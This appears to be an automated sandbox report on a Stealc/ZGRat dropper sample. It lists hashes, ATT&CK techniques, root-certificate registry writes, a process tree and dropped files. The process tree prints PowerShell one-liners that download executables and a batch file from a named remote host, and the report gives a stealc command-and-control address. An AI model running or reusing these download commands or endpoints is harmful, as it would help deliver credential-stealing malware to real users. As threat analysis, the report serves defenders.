stealc | 56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d

Analysis

max time kernel
259s
max time network
290s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
06-05-2024 05:11

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General

Target

56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
Size

49KB
MD5

d58a180c5d85448472b4e1007fae4b2a
SHA1

c07bf8ee2bb73efbf111c2dd753d70bbd84cdb54
SHA256

56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d
SHA512

78002ed8c7342d2298f74090afe83572f8373c8e34a3ea9bbc2fc8fed04b2cb3511cb1fd0dd194b1ac41ac0a77ab1cdaa184d34e25cf1b21e4f8990922be3367
SSDEEP

1536:XferrLkSRoe8C4UZsys0Dh1duFpkvFI+Plh:Xfi3k+oWDBDh1duFpjWlh

Score

10^/10

stealc zgrat discovery execution rat spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000

Extracted

Family

stealc

http://185.172.128.150

Attributes

url_path
/c698e1bc8a2f5e6d.php

Signatures

Detect ZGRat V1 3 IoCs

resource	yara_rule
behavioral1/memory/2176-298-0x00000000011C0000-0x0000000004AB8000-memory.dmp	family_zgrat_v1
behavioral1/memory/2176-299-0x000000001F090000-0x000000001F1A0000-memory.dmp	family_zgrat_v1
behavioral1/memory/2176-303-0x0000000000C80000-0x0000000000CA4000-memory.dmp	family_zgrat_v1

Stealc
Stealc is an infostealer written in C++.
stealer stealc
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
17	1980	powershell.exe
18	1144	powershell.exe
19	1144	powershell.exe
20	584	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 3 IoCs

pid	Process
2724	i1.exe
676	u23o.0.exe
1656	u23o.1.exe

Loads dropped DLL 13 IoCs

pid	Process
2300	56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
1540	cmd.exe
2724	i1.exe
2724	i1.exe
2724	i1.exe
2724	i1.exe
2724	i1.exe
2724	i1.exe
2724	i1.exe
2724	i1.exe
2724	i1.exe
676	u23o.0.exe
676	u23o.0.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1980	powershell.exe
1144	powershell.exe
584	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u23o.1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u23o.1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u23o.1.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	u23o.0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	u23o.0.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6	56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 0f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 19000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca61d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e4090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f006700690065007300000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a92000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 040000000100000010000000a923759bba49366e31c2dbf2e766ba870f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca619000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 0f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b06010505070303140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a2000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6502000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1980	powershell.exe
1144	powershell.exe
584	powershell.exe
676	u23o.0.exe
676	u23o.0.exe
2176	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
2176	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
2176	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
2176	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
2176	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1980	powershell.exe
Token: SeDebugPrivilege	1144	powershell.exe
Token: SeDebugPrivilege	584	powershell.exe
Token: SeDebugPrivilege	2176	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
1656	u23o.1.exe
1656	u23o.1.exe
1656	u23o.1.exe
1656	u23o.1.exe
1656	u23o.1.exe
1656	u23o.1.exe
1656	u23o.1.exe

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
1656	u23o.1.exe
1656	u23o.1.exe
1656	u23o.1.exe
1656	u23o.1.exe
1656	u23o.1.exe
1656	u23o.1.exe
1656	u23o.1.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 2300 wrote to memory of 1540	2300	56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe	29
PID 2300 wrote to memory of 1540	2300	56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe	29
PID 2300 wrote to memory of 1540	2300	56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe	29
PID 2300 wrote to memory of 1540	2300	56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe	29
PID 1540 wrote to memory of 1980	1540	cmd.exe	31
PID 1540 wrote to memory of 1980	1540	cmd.exe	31
PID 1540 wrote to memory of 1980	1540	cmd.exe	31
PID 1540 wrote to memory of 1980	1540	cmd.exe	31
PID 1540 wrote to memory of 1144	1540	cmd.exe	32
PID 1540 wrote to memory of 1144	1540	cmd.exe	32
PID 1540 wrote to memory of 1144	1540	cmd.exe	32
PID 1540 wrote to memory of 1144	1540	cmd.exe	32
PID 1540 wrote to memory of 2724	1540	cmd.exe	33
PID 1540 wrote to memory of 2724	1540	cmd.exe	33
PID 1540 wrote to memory of 2724	1540	cmd.exe	33
PID 1540 wrote to memory of 2724	1540	cmd.exe	33
PID 1540 wrote to memory of 584	1540	cmd.exe	34
PID 1540 wrote to memory of 584	1540	cmd.exe	34
PID 1540 wrote to memory of 584	1540	cmd.exe	34
PID 1540 wrote to memory of 584	1540	cmd.exe	34
PID 1540 wrote to memory of 2052	1540	cmd.exe	35
PID 1540 wrote to memory of 2052	1540	cmd.exe	35
PID 1540 wrote to memory of 2052	1540	cmd.exe	35
PID 1540 wrote to memory of 2052	1540	cmd.exe	35
PID 2724 wrote to memory of 676	2724	i1.exe	37
PID 2724 wrote to memory of 676	2724	i1.exe	37
PID 2724 wrote to memory of 676	2724	i1.exe	37
PID 2724 wrote to memory of 676	2724	i1.exe	37
PID 2724 wrote to memory of 1656	2724	i1.exe	38
PID 2724 wrote to memory of 1656	2724	i1.exe	38
PID 2724 wrote to memory of 1656	2724	i1.exe	38
PID 2724 wrote to memory of 1656	2724	i1.exe	38
PID 1656 wrote to memory of 2176	1656	u23o.1.exe	42
PID 1656 wrote to memory of 2176	1656	u23o.1.exe	42
PID 1656 wrote to memory of 2176	1656	u23o.1.exe	42
PID 1656 wrote to memory of 2176	1656	u23o.1.exe	42

C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
"C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsd9280.tmp\app.bat"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1540
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1980
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1144
- - C:\Users\Admin\AppData\Local\Temp\i1.exe
    i1.exe /SUB=2838 /str=one
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Users\Admin\AppData\Local\Temp\u23o.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u23o.0.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:676
  - - C:\Users\Admin\AppData\Local\Temp\u23o.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u23o.1.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:1656
    - - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2176
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000', 'i2.bat')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:584
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K i2.bat
    3⤵
    PID:2052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
37ae061acff3662dbd83edcf8e99e0bc

SHA1
bce70cb9b64e3766861f27eca89c104ebca3e7ef

SHA256
0eba2154bd9b64f52b9f5f9a1e67c6d5e8780516e369adf78f1ba2e632b6e36f

SHA512
8acef0b6038f976b4f3fa80a1c01758c61760326e0d00d316ad27f6b3bb8e16175ad56a50f3c18473770cde789ea664078ead2ff64730c36a16cd020ebf1cdd7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\ApplicationInsights\81950f7e7cbd108086cf2da3a401afdfffc60d9b485aac5dd52f7a137c00f950\afd922a9a7c247bea5debf88978c1ca9.tmp

Filesize
1KB

MD5
86f81b86ec7f188bcd635a2f02d727eb

SHA1
b93784add92943a245b0d0e458764165aa3de71f

SHA256
b242b529709bdb3377e3e1e71ad9af2d45fc8a2d92be9dd68160b501bce5f5cb

SHA512
a7aa1d57c15678b08004ba4d0ba0546942efa66943f050bedf23d3c684f3c4c594f5160a2613f4646ae96db19264e662f8c478efa3b88cdfecc38c52180b11cf

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar97C6.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

Filesize
3KB

MD5
3e50f67d3dc20229afafe65018454515

SHA1
51af4ece24d2cc62c898b9d1d63d844465aaf109

SHA256
cc3f8620cd1671d08da9c3ac6a698a939852e4b95a7709107025877d635203cd

SHA512
abd6dbb55a07ee0ffdebbad62542b545bcee3ae4e96f02cda62ebf18530ca843891e479f8d32e9c9d2cc2aaacc423a94bbd3692aba64cea737c20df218fd2c1b

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsd9280.tmp\app.bat

Filesize
556B

MD5
1d5830e49fb8ad21e3c1e3333b819e7f

SHA1
ee70e4b9c36d0bbcefce139bac51abadbd985197

SHA256
8e71a833717ce5a0b8d882724613ad0be188c85060705b0c1d40abcd9bd4bd80

SHA512
